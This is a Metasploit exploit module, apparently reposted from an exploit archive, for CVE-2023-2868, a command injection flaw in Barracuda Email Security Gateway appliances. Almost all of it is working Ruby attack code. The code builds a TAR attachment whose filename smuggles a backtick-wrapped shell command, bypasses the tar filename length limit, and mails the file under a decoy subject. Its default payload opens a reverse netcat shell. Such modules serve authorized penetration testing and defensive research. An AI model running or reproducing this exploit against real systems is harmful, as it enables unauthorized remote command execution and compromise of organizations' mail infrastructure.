Share
## https://sploitus.com/exploit?id=PACKETSTORM:217678
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::SMTPDeliver
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Barracuda ESG TAR Filename Command Injection',
'Description' => %q{
This module exploits CVE-2023-2868, a command injection vulnerability in
Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists
in how the ESG processes TAR file attachments - filenames containing shell
metacharacters (backticks) are passed directly to shell commands during
extraction, allowing remote command execution.
The exploit sends an email with a specially crafted TAR attachment where
the filename contains a backtick-wrapped command. When the ESG processes
this attachment, the command is executed as the mail processing user.
Note: Payload execution may take 30-90 seconds after email delivery.
Amavisd queues and processes attachments asynchronously.
Affected versions: Barracuda ESG firmware prior to May 2023 patch.
Payloads containing single quotes or backticks are incompatible with
the injection mechanism. Use cmd/unix/generic with a custom CMD for
specialized payload requirements.
},
'License' => MSF_LICENSE,
'Author' => [
'Mandiant', # Discovery and analysis
'cfielding-r7', # Original PoC
'Curt Hyvarinen' # Metasploit module
],
'References' => [
['CVE', '2023-2868'],
['URL', 'https://www.barracuda.com/company/legal/esg-vulnerability'],
['URL', 'https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally'],
['URL', 'https://attackerkb.com/topics/NCRbE1IDJP/cve-2023-2868']
],
'DisclosureDate' => '2023-05-23',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {
'Space' => 490,
'DisableNops' => true,
'BadChars' => "'\`\x00\r\n"
},
'Targets' => [
['Unix Command', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('MAILTO', [true, 'Target email address on the ESG']),
OptString.new('MAILFROM', [true, 'Sender email address', 'scanner@example.com']),
OptString.new('SUBJECT', [true, 'Email subject line', 'Quarterly Report']),
OptString.new('BODY', [false, 'Email body text (default: random string)']),
OptString.new('FILENAME', [false, 'TAR attachment filename (default: random.tar)'])
]
)
end
def check
connect
banner_str = banner.to_s
if banner_str =~ /barracuda/i
return CheckCode::Detected('Barracuda ESG detected in SMTP banner')
end
if banner_str =~ /ESMTP/i
return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG')
end
CheckCode::Safe('No SMTP banner detected')
rescue Rex::ConnectionError => e
CheckCode::Unknown("Connection failed: #{e.message}")
ensure
disconnect
end
def exploit
cmd = payload.encoded
# Wrap payload in critical format for command injection:
# Outer single quotes prevent immediate shell parsing,
# backticks trigger command substitution when processed by vulnerable code
malicious_filename = "'`#{cmd}`'"
print_status('Generating malicious TAR with payload filename')
vprint_status("Payload filename length: #{malicious_filename.length} bytes")
tar_data = create_malicious_tar(malicious_filename)
print_status('Composing email with TAR attachment')
email_data = generate_exploit_email(tar_data)
print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}")
send_message(email_data)
print_good('Email sent successfully')
print_status('Payload will execute when ESG processes the attachment')
end
def create_malicious_tar(malicious_filename)
# Rex::Tar::Writer inherits from Gem::Package::TarWriter which enforces a
# 100-byte filename limit. Override split_name to allow longer filenames
# with special characters for the injection payload.
original_split = Rex::Tar::Writer.instance_method(:split_name)
Rex::Tar::Writer.define_method(:split_name) do |name|
prefix = ''
if name.bytesize > 100
parts = name.split('/', -1)
name = parts.pop
prefix = parts.join('/')
while !parts.empty? && (prefix.bytesize > 155 || name.empty?)
name = parts.pop + '/' + name
prefix = parts.join('/')
end
end
[name, prefix]
end
tar_io = StringIO.new
Rex::Tar::Writer.new(tar_io) do |tar|
content = Rex::Text.rand_text_alpha(32)
tar.add_file_simple(malicious_filename, 0o644, content.length) do |io|
io.write(content)
end
end
# Restore original method to avoid affecting other code
Rex::Tar::Writer.define_method(:split_name, original_split)
tar_io.string
end
def generate_exploit_email(tar_data)
msg = Rex::MIME::Message.new
msg.mime_defaults
msg.from = datastore['MAILFROM']
msg.to = datastore['MAILTO']
msg.subject = datastore['SUBJECT']
# Add text body
body_text = datastore['BODY'].to_s.strip.empty? ? Rex::Text.rand_text_alpha(rand(16..32)) : datastore['BODY']
msg.add_part(body_text, 'text/plain', nil, 'inline')
# Add TAR attachment
attachment_name = datastore['FILENAME'].to_s.strip.empty? ? Rex::Text.rand_text_alpha(8) + '.tar' : datastore['FILENAME']
msg.add_part_attachment(tar_data, attachment_name)
msg.to_s
end
end